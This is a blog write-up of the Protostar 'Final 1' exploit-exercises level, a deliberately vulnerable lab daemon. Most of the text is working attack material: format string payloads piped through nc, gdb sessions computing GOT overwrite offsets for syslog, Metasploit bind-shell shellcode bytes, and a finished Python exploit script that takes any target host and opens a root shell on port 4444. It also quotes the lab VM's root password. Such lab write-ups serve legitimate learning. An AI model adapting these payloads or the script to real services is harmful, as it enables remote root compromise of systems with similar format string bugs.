MattAndreko.com

"hostess is a code-slaying dragon found deep within the core of the earth, unearthing magma and vulnerabilities single handedly while using the other hand to pet his cat"

Exploit Exercises - Protostar Final 1

| Comments

Since I’ve been doing a lot of the format string exploits lately, I decided to do the Final 1 challenge.

We start out the challenge by being given the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#include "../common/common.c"

#include <syslog.h>

#define NAME "final1"
#define UID 0
#define GID 0
#define PORT 2994

char username[128];
char hostname[64];

void logit(char *pw)
{
 char buf[512];

 snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw);

 syslog(LOG_USER|LOG_DEBUG, buf);
}

void trim(char *str)
{
 char *q;

 q = strchr(str, '\r');
 if(q) *q = 0;
 q = strchr(str, '\n');
 if(q) *q = 0;
}

void parser()
{
 char line[128];

 printf("[final1] $ ");

 while(fgets(line, sizeof(line)-1, stdin)) {
  trim(line);
  if(strncmp(line, "username ", 9) == 0) {
   strcpy(username, line+9);
  } else if(strncmp(line, "login ", 6) == 0) {
   if(username[0] == 0) {
    printf("invalid protocol\n");
   } else {
    logit(line + 6);
    printf("login failed\n");
   }
  }
  printf("[final1] $ ");
 }
}

void getipport()
{
 int l;
 struct sockaddr_in sin;

 l = sizeof(struct sockaddr_in);
 if(getpeername(0, &sin, &l) == -1) {
  err(1, "you don't exist");
 }

 sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
}

int main(int argc, char **argv, char **envp)
{
 int fd;
 char *username;

 /* Run the process as a daemon */
 background_process(NAME, UID, GID); 

 /* Wait for socket activity and return */
 fd = serve_forever(PORT);

 /* Set the client socket to STDIN, STDOUT, and STDERR */
 set_io(fd);

 getipport();
 parser();

}

After analyzing this for a while, I found that it was vulnerable in the logit() function. If you had given it a username and went to login with a password, it would pass the “login” string directly to the “snprintf” funciton. From there, we could do format string exploits. There are probably more than one way to solve this, but my method involves overwriting the “syslog()” function with some shellcode inserted into the stack.

I started to tinker with the app to see what I could do. One thing I found really convenient, was to open another terminal throughout this entire process, and watch the syslog.

1
root@protostar:/home/user# tail -f /var/log/syslog | grep final1

This helps to see what is being passed, and align the format string later on. It also notifies you when you crash the program, and dump the core.

First, I needed to find the amount of words in the stack that I would need to skip over to get to my format string. I found through some experimentation that it would start at 15 if I added a 1 character buffer (the “X”):

1
2
3
4
user@protostar:/opt/protostar/bin$ nc localhost 2994
[final1] $ username XAAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
[final1] $ login B
login failed

In the syslog, this showed:

1
Feb  4 22:47:31 protostar final1: Login from 127.0.0.1:36764 as [JAAAA8049ee4.804a2a0.804a220.bffffc46.b7fd7ff4.bffffa98.69676f4c.7266206e.31206d6f.302e3732.312e302e.3736333a.61203436.4a5b2073.41414141] with password [B]

Since my goal was to overwrite “syslog()” with a memory address pointing to my shellcode, I figured I probably needed to know the address of “syslog()” in the GOT.

1
2
user@protostar:/opt/protostar/bin$ objdump -R final1 | grep syslog
0804a11c R_386_JUMP_SLOT   syslog

My next step was to start using Direct Parameter Access, so my exploit wouldn’t be super long, and would be easier to deal with. I also broke up the segments to make them easier for me to visualize.

1
2
user@protostar:/opt/protostar/bin$ perl -e 'print "username "."X"."AAAA"."BBBB"."CCCC"."DDDD"."%15\$x"."\nlogin B\n"' | nc localhost 2994
[final1] $ [final1] $ login failed

In the syslog, this showed:

1
Feb  4 23:18:13 protostar final1: Login from 127.0.0.1:36768 as [XAAAABBBBCCCCDDDD41414141] with password [B]

So there, I was still getting the “41414141” as the word being displayed. When switched to “%n” instead of “%x”, that’ll be the address written to. The next thing to do, would be make all 4 words show up properly.

1
2
user@protostar:/opt/protostar/bin$ perl -e 'print "username "."X"."AAAA"."BBBB"."CCCC"."DDDD"."%15\$x"."%16\$x"."%17\$x"."%18\$x"."\nlogin B\n"' | nc localhost 2994
[final1] $ [final1] $ login failed

In the syslog, this showed:

1
Feb  4 23:23:17 protostar final1: Login from 127.0.0.1:36769 as [XAAAABBBBCCCCDDDD41414141424242424343434344444444] with password [B]

So you can see, it is now displaying the 4 words that are needed to be overwritten, “41414141”, “42424242”, “43434343”, and “44444444”. If the address of “syslog()” (0x0804a11c) in the GOT is used, instead of these addresses, we can achieve an overwrite of “syslog()”.

Just to double-check, I put in the new addresses without the “%n” so that I could verify nothing was messed up:

1
2
user@protostar:/opt/protostar/bin$ perl -e 'print "username "."X"."\x1c\xa1\x04\x08"."\x1d\xa1\x04\x08"."\x1e\xa1\x04\x08"."\x1f\xa1\x04\x08"."%15\$x"."%16\$x"."%17\$x"."%18\$x"."\nlogin B\n"' | nc localhost 2994
[final1] $ [final1] $ login failed

In the syslog, this showed:

1
Feb  4 23:27:12 protostar final1: Login from 127.0.0.1:36770 as [X#034¡#004#010#035¡#004#010#036¡#004#010#037¡#004#010804a11c804a11d804a11e804a11f] with password [B]

Towards the end, you can see all the memory addresses being written out.

The next logical step would be to replace the “%x” with “%n”, and watch the program crash, as we try to write arbitrary values to the “syslog()” memory space before it gets called.

1
2
user@protostar:/opt/protostar/bin$ perl -e 'print "username "."X"."\x1c\xa1\x04\x08"."\x1d\xa1\x04\x08"."\x1e\xa1\x04\x08"."\x1f\xa1\x04\x08"."%15\$n"."%16\$n"."%17\$n"."%18\$n"."\nlogin B\n"' | nc localhost 2994
[final1] $ [final1] $ login failed

In the syslog, this showed:

1
Feb  4 23:30:50 protostar final1: Login from 127.0.0.1:36772 as [X#034¡#004#010#035¡#004#010#036¡#004#010#037¡#004#010] with password [B]

This is not at all what I was expecting! No crash, it tried to do the login. But wait! If I tried to continue sending commands in that same session, it seemed to have been messed up, since it does not even function properly, outputting the “[final1] $” string:

1
2
[final1] $ username A
login B

I figured that maybe I had crashed it, and a core had been dumped. But nothing appeared:

1
user@protostar:/opt/protostar/bin$ ls /tmp

I started tinkering, and decided to try having it login a second time, repeating the “login” command:

1
user@protostar:/opt/protostar/bin$ perl -e 'print "username "."X"."\x1c\xa1\x04\x08"."\x1d\xa1\x04\x08"."\x1e\xa1\x04\x08"."\x1f\xa1\x04\x08"."%15\$n"."%16\$n"."%17\$n"."%18\$n"."\nlogin B\nlogin TEST2\n"' | nc localhost 2994

In the syslog, this showed:

1
2
Feb  4 23:37:49 protostar final1: Login from 127.0.0.1:36773 as [X#034¡#004#010#035¡#004#010#036¡#004#010#037¡#004#010] with password [B]
Feb  4 23:37:49 protostar kernel: [984582.054370] final1[24813]: segfault at 30303030 ip 30303030 sp bffff9fc error 4

There we go, we have a segfault, which should have dumped a core for us to debug. This is convenient, since if the overwrite of “syslog()” doesn’t happen until the second login attempt, we’ll need to know where “TEST2” was in memory, to inject shellcode. NOTE: To debug in gdb, you will have to use the root login. Per http://exploit-exercises.com/protostar “For debugging the final levels, you can log in as root with password “godmode” (without the quotes)“.

This also made me remember, that since we are going to put shellcode in where “TEST2” is, the stack address will change, since the shellcode will probably be more than 5 characters long. So this needs to be done again with a proper length shellcode. That means the first step towards getting this, should be generating some shellcode. I connected to a machine with the Metasploit Framework installed, and generated some:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mandreko@li225-134:~$ msfpayload linux/x86/shell_bind_tcp c
/*
* linux/x86/shell_bind_tcp - 78 bytes
* http://www.metasploit.com
* VERBOSE=false, LPORT=4444, RHOST=, PrependSetresuid=false,
* PrependSetreuid=false, PrependSetuid=false,
* PrependChrootBreak=false, AppendExit=false,
* InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";

I wired up a new string to send to the program, using the username of the exploit format string for the first username, and a “B” for the password. The second login attempt would set the username to “X”, as to not trigger the format string again, and a password containing a fake shellcode, of 78 “A”s.

1
2
user@protostar:/opt/protostar/bin$ perl -e 'print "username "."X"."\x1c\xa1\x04\x08"."\x1d\xa1\x04\x08"."\x1e\xa1\x04\x08"."\x1f\xa1\x04\x08"."%15\$n"."%16\$n"."%17\$n"."%18\$n"."\nlogin "."B"x120 ."username X\nlogin "."A"x78 ."\n"' | nc localhost 2994
[final1] $ [final1] $ login failed

In the syslog, this showed:

1
2
Feb  5 00:03:58 protostar final1: Login from 127.0.0.1:36775 as [X#034¡#004#010#035¡#004#010#036¡#004#010#037¡#004#010] with password [Busername X]
Feb  5 00:03:58 protostar kernel: [986148.949635] final1[24854]: segfault at 30303030 ip 30303030 sp bffff9fc error 4

Now to debug as root, to find the start of the shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
user@protostar:/opt/protostar/bin$ su
Password:
root@protostar:/opt/protostar/bin# gdb --quiet --core=/tmp/core.11.final1.24854
Core was generated by `/opt/protostar/bin/final1'.
Program terminated with signal 11, Segmentation fault.
#0  0x30303030 in ?? ()
(gdb) x/10s $esp
0xbffff9fc:      "\357\230\004\b\017"
0xbffffa02:      ""
0xbffffa03:      ""
0xbffffa04:      " \372\377\277\344\236\004\b\240\242\004\b \242\004\bF\374\377\277\364\177\375\267\230\372\377\277Login from 127.0.0.1:36775 as [X\034\241\004\b\035\241\004\b\036\241\004\b\037\241\004\b%15$n%16$n%17$n%18$n] with password [", 'A' <repeats 78 times>, "]\n"
0xbffffac6:      "\377\277(\033\376\267\021"
0xbfffface:      ""
0xbffffacf:      ""
0xbffffad0:      "\024\310\351\267\374\032\376\267\021{\234|\001"
0xbffffade:      ""
0xbffffadf:      ""
(gdb) x/1s 0xbffffac6-81
0xbffffa75:      'A' <repeats 78 times>, "]\n"

So now we know that we should be able to overwrite 0x0804a11c with 0xbffffa75 to make “syslog()” call our shellcode. We just need to calculate the buffer lengths to get “0xbrffffa75” to actually show up instead of “0x30303030”.

1
2
3
4
5
6
7
8
9
10
11
12
(gdb) p 0x75 - 0x30
$1 = 69
(gdb) p 0xfa - 0x75
$2 = 133
(gdb) p 0xff - 0xfa
$3 = 5
(gdb) p 0x1ff - 0xfa
$4 = 261
(gdb) p 0xbf - 0xff
$5 = -64
(gdb) p 0x1bf - 0xff
$6 = 192

This tells us, that with our 4 “%n”s, we should be able to use buffer lengths of 69, 133, 261, and 192. So let’s wire that up:

1
2
user@protostar:/opt/protostar/bin$ perl -e 'print "username "."X"."\x1c\xa1\x04\x08"."\x1d\xa1\x04\x08"."\x1e\xa1\x04\x08"."\x1f\xa1\x04\x08"."%69x%15\$n"."%133x%16\$n"."%261x%17\$n"."%192x%18\$n"."\nlogin B"."username X\nlogin "."A"x78 ."\n"' | nc localhost 2994
[final1] $ [final1] $ login failed

In the syslog, this showed:

1
2
Feb  5 00:14:14 protostar final1: Login from 127.0.0.1:36776 as [X#034¡#004#010#035¡#004#010#036¡#004#010#037¡#004#010                                                              8049ee4                                                                                                                              804a2a0                                                                                                                                                                                                                                                              804a220                                                                                                                                                                                        bffffc46] with password [Busername X]
Feb  5 00:14:14 protostar kernel: [986763.710440] final1[24875]: segfault at 69 ip bffffa78 sp bffffa00 error 6

If we launch gdb again, we can see where it crashed, and cross our fingers that it was when trying to execute our fake shellcode:

1
2
3
4
5
6
user@protostar:/opt/protostar/bin$ su
Password:
root@protostar:/opt/protostar/bin# gdb --quiet --core=/tmp/core.11.final1.24875
Core was generated by `/opt/protostar/bin/final1'.
Program terminated with signal 11, Segmentation fault.
#0  0xbffffa78 in ?? ()

It would appear that our assumption was correct. It tried to run starting at 0xbffffa75, and made it to 0xbffffa78 before segfaulting. Let’s now replace the fake shellcode with real shellcode:

1
2
user@protostar:/opt/protostar/bin$ perl -e 'print "username "."X"."\x1c\xa1\x04\x08"."\x1d\xa1\x04\x08"."\x1e\xa1\x04\x08"."\x1f\xa1\x04\x08"."%69x%15\$n"."%133x%16\$n"."%261x%17\$n"."%192x%18\$n"."\nlogin B"."username X\nlogin "."\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"."\n"' | nc localhost 2994
[final1] $ [final1] $ login failed

However, this appeared to segfault as well, based on the syslog output, so again, I loaded it in gdb:

1
2
3
4
5
6
7
8
root@protostar:/opt/protostar/bin# gdb --quiet --core=/tmp/core.11.final1.24894
Core was generated by `/opt/protostar/bin/final1'.
Program terminated with signal 11, Segmentation fault.
#0  0xbffffa78 in ?? ()
(gdb) x/1x 0x0804a11c
0x804a11c:      0xbffffa75
(gdb) x/1s 0xbffffa75
0xbffffa75:      "$n] with password [1\333\367\343SCSj\002\211\341\260fÍ[^Rh\377\002\021\\j\020QP\211\341jfXÍ\211A\004\263\004\260fÍC\260fÍ\223Yj?XÍIy\370h//shh/bin\211\343PS\211\341\260\vÍ]\n"

First, I made sure that the address of the “syslog()” function in the GOT was overwritten by the correct address, which it was. I then realized that the length was off, since I changed the buffers to output the address. This means the address would have to change, and the buffers as well again. So I found the shellcode, and corrected the address:

1
2
3
(gdb) x/8x 0xbffffa75+19
0xbffffa88:     0xe3f7db31      0x6a534353      0xb0e18902      0x5b80cd66
0xbffffa98:     0xff68525e      0x6a5c1102      0x89505110      0x58666ae1

It now needs to jump to 0xbffffa88

1
2
3
4
5
6
7
8
9
10
11
12
(gdb) p 0x88 - 0x30
$1 = 88
(gdb) p 0xfa - 0x88
$2 = 114
(gdb) p 0xff - 0xfa
$3 = 5
(gdb) p 0x1ff - 0xfa
$4 = 261
(gdb) p 0xbf - 0xff
$5 = -64
(gdb) p 0x1bf - 0xff
$6 = 192

So our new buffer offsets should be 88, 114, 261, and 192:

1
2
user@protostar:/opt/protostar/bin$ perl -e 'print "username "."X"."\x1c\xa1\x04\x08"."\x1d\xa1\x04\x08"."\x1e\xa1\x04\x08"."\x1f\xa1\x04\x08"."%88x%15\$n"."%114x%16\$n"."%261x%17\$n"."%192x%18\$n"."\nlogin B"."username X\nlogin "."\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"."\n"' | nc localhost 2994
[final1] $ [final1] $ login failed

In the syslog, this showed:

1
Feb  5 00:27:15 protostar final1: Login from 127.0.0.1:36781 as [X#034¡#004#010#035¡#004#010#036¡#004#010#037¡#004#010                                                                                 8049ee4                                                                                                           804a2a0                                                                                                                                                                                                                                                              804a220                                                                                                                                                                                        bffffc46] with password [Busername X]

No segfault means maybe it worked. Let’s attempt to connect on port 4444:

1
2
3
4
5
user@protostar:/opt/protostar/bin$ nc localhost 4444
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root

There you have it, root access! However, this only works on the local machine, since the syslog string contaisn your ip address and port that you used to connect. This means that if you connect from outside hosts, the format string will be wrong. I decided to fix this, by writing this out as a “true” exploit, instead of just a perl pipe. This was both for fun, and to try getting better at writing actual “exploits” that I could publish.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/env python

# Protostar Final 1 Exploit
# http://exploit-exercises.com/protostar/final1
# Matt Andreko
# twitter: @mandreko
# contact: matt [at] mattandreko.com

from socket import *
from struct import *
from optparse import OptionParser

def exploit(host, port):
    syslog_address = 0x0804a11c
    syslog_address_1 = pack("<I", syslog_address)
    syslog_address_2 = pack("<I", syslog_address + 1)
    syslog_address_3 = pack("<I", syslog_address + 2)
    syslog_address_4 = pack("<I", syslog_address + 3)

    # linux/x86/shell_bind_tcp - 78 bytes
    # http://www.metasploit.com
    # VERBOSE=false, LPORT=4444, RHOST=, PrependSetresuid=false,
    # PrependSetreuid=false, PrependSetuid=false,
    # PrependChrootBreak=false, AppendExit=false,
    # InitialAutoRunScript=, AutoRunScript=
    shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" \
                "\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" \
                "\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" \
                "\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" \
                "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" \
                "\x0b\xcd\x80"

    # Open the connection
    s = socket(AF_INET, SOCK_STREAM)
    s.connect((host, port))

    # Because the string in the syslog varies, due to it showing "Login from 192.168.1.1:19661" for example
    # Calculate length of junk filler, based on max ip+port combo being 255.255.255.255:65535
    # Write out 0xbffffc46 (start of shellcode) to 0x0804a11c (GOT of syslog)
    source_address = s.getsockname()[0]
    source_port = s.getsockname()[1]
    source_string = str(source_address) + ":" + str(source_port)

    junk_buffer_length = 21 - len(source_string)

    print("[*] Sending format string as username")
    s.send("username XXX" + "X"*junk_buffer_length + syslog_address_1 + syslog_address_2 + syslog_address_3 + syslog_address_4 + "%14x%17$n" + "%182x%18$n" + "%259x%19$n" + "%192x%20$n" + "\n")

    print("[*] Sending password to trigger formatstring")
    s.send("login " + "B" + "\n")

    print("[*] Sending new username without format string")
    s.send("username X\n")

    print("[*] Sending shellcode as password")
    s.send("login " + shellcode + "\n")

    s.close

    print("[*] Exploit successfull! Now launch: nc " + str(host) + " 4444")
    
if __name__ == "__main__":
    parser = OptionParser("usage: %prog [options]")
    parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1", type="string", help="Target to exploit")
    parser.add_option("-p", "--port", dest="portnum", default=2994, type="int", help="Target port")

    (options, args) = parser.parse_args()
    
    exploit(options.hostname, options.portnum)

Comments